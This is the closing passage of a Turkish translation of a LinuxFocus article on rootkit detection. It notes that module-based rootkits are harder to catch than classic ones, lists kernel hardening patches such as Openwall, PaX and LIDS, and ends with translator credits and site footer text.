Eğer, bütünlük testleri iyi yapılırsa, kalsik root-kit'leri yakalamak kolaydır. Modüllere dayalı olanları yakalamak ise, daha zordur. Bunları belirleyebilecek araçlar üzerinde çalışılmaktadır. Modüllerin kendilerinde olduğu gibi, bunların yapabilecekleri de sınırlıdır. Çekirdek güvenliği gün geçtikçe önem kazanmaktadır. Bunun bir kanıtı olarak Linus'un 2.5 sürümlü çekirdek güvenlikten sorumlu bir modülün yazımı istemesidir. Düşüncelerdeki bu değişiklik, Openwall, Pax, LIDS, kernelli gibi var olan yamaların çokluğundan da kaynaklanmaktadır.

Her neyse, unutmayın ki işgal edilmiş bir sistem kendi bütünlüğünü denetleyemez. Ne programlarına ne de verdiği bilgilerine güvenebilirsiniz.

 

Bağlantılar

 

Bu yazı için görüş bildiriminde bulunabilirsiniz

Her yazı kendi görüş bildirim sayfasına sahiptir. Bu sayfaya yorumlarınızı yazabilir ve diğer okuyucuların yorumlarına bakabilirsiniz.
 talkback page 

<--, Bu sayının ana sayfasına gider

Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır
© Frédéric Raynal aka Pappy, FDL
LinuxFocus.org
Çeviri bilgisi:
fr --> -- : Frédéric Raynal aka Pappy (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> tr: Erdal Mutlu <erdal(at)linuxfocus.org>

2004-06-25, generated by lfparser version 2.43